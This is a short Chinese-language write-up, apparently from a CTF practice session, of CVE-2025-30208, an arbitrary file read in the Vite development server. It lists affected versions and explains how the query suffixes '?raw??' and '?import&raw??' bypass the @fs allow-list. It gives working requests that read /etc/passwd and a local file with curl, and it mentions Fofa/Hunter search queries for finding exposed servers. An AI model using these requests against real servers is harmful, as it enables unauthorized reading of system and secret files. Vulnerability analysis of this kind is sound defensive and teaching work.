CVE-2025-30208
也是今天打题的时候,遇到的一个特别有意思的服务器漏洞,在这里记录一下,利用难度也不是很大
漏洞简介
CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd 或 C:\windows\win.ini)。
该漏洞主要影响以下版本的 Vite:
6.2.3 之前
6.1.2 之前
6.0.12 之前
5.4.15 之前
4.5.10 之前
漏洞原理
Vite 开发服务器提供 @fs
机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw??
或 ?import&raw??
等查询参数绕过访问限制,从而读取任意文件。
详细分析
在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问,例如:
1 | server: { |
然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:
1 | GET /@fs/etc/passwd?raw?? |
由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。
漏洞利用
Fofa & Hunter 搜索
攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:
1 | Fofa: |
正常情况下被拒绝
1 | $ curl "http://localhost:5173/@fs/tmp/secret.txt" |
绕过访问控制
1 | $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" |